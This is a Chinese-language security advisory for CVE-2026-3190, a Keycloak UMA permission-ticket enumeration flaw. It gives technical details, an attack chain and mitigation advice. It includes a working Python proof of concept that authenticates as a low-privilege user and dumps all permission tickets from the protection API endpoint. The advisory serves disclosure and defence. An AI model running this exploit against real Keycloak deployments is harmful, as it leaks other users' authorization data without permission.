IPBUF安全漏洞报告
English
CVE-2026-3190 CVSS 4.3 中危

CVE-2026-3190 Keycloak权限票据枚举信息泄露漏洞

披露日期: 2026-03-26

漏洞信息

漏洞编号
CVE-2026-3190
漏洞类型
权限控制缺失
CVSS评分
4.3 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Keycloak

相关标签

权限控制缺失信息泄露KeycloakUMACVE-2026-3190

漏洞概述

Keycloak在实现UMA 2.0 Protection API时存在权限控制缺陷。该漏洞导致系统未能强制执行`uma_protection`角色检查,允许任何持有资源服务器客户端令牌的认证用户,无需特定角色即可枚举系统中的所有权限票据,造成部分敏感信息泄露。

技术细节

该漏洞根因在于Keycloak中UMA 2.0保护API的权限验证逻辑存在缺陷。具体而言,用于获取权限票据列表的端点在代码实现层面遗漏了对`uma_protection`角色的强制检查。在正常的业务逻辑中,只有具备该特定角色的用户或客户端才被授权查询系统的权限票据状态。然而,攻击者可以利用这一逻辑漏洞,仅需获取一个针对任意资源服务器客户端的有效认证令牌,即可绕过角色限制。通过直接调用受影响的API接口,攻击者能够遍历并获取系统中所有的权限票据信息。这些票据包含了资源ID、所有者及请求范围等敏感上下文数据。虽然该漏洞不直接导致系统被攻陷,但泄露的信息可能被用于辅助后续的越权访问或精准攻击,显著增加了系统的安全风险。

攻击链分析

STEP 1
1. 信息收集
攻击者识别目标Keycloak服务器及其Realm配置,并确定启用了UMA功能。
STEP 2
2. 获取令牌
攻击者使用一个低权限账号或合法客户端凭证,向Keycloak请求并获取一个针对资源服务器客户端的有效访问令牌。
STEP 3
3. 漏洞利用
攻击者使用获取的令牌,直接向`/authz/protection/permission-tickets`端点发送GET请求。
STEP 4
4. 信息泄露
由于系统未校验`uma_protection`角色,服务器返回系统中所有的权限票据数据,攻击者成功获取敏感信息。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Configuration target_url = "https://keycloak.example.com" realm = "master" client_id = "resource-server-client" username = "low_priv_user" password = "password" # 1. Authenticate to get a token # The attacker needs a valid token for a resource server client auth_url = f"{target_url}/realms/{realm}/protocol/openid-connect/token" data = { "grant_type": "password", "client_id": client_id, "username": username, "password": password } print("[*] Authenticating...") response = requests.post(auth_url, data=data) if response.status_code == 200: token = response.json().get("access_token") print("[+] Token obtained.") # 2. Exploit: Enumerate permission tickets via UMA Protection API # This endpoint usually requires 'uma_protection' role uma_url = f"{target_url}/realms/{realm}/authz/protection/permission-tickets" headers = { "Authorization": f"Bearer {token}" } print("[*] Attempting to enumerate permission tickets...") exploit_resp = requests.get(uma_url, headers=headers) if exploit_resp.status_code == 200: print("[+] Success! Leaked permission tickets:") print(exploit_resp.text) else: print(f"[-] Failed. Status: {exploit_resp.status_code}") else: print("[-] Authentication failed.")

影响范围

Keycloak (具体受影响版本请参考RedHat安全公告RHSA-2026:6477)

防御指南

临时缓解措施
建议立即应用厂商提供的安全补丁进行升级。若暂时无法升级,应通过防火墙或网络策略严格限制对Keycloak UMA API端点的访问权限,仅允许受信任的内部服务IP调用,并对系统的权限分配进行审查,确保最小权限原则。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表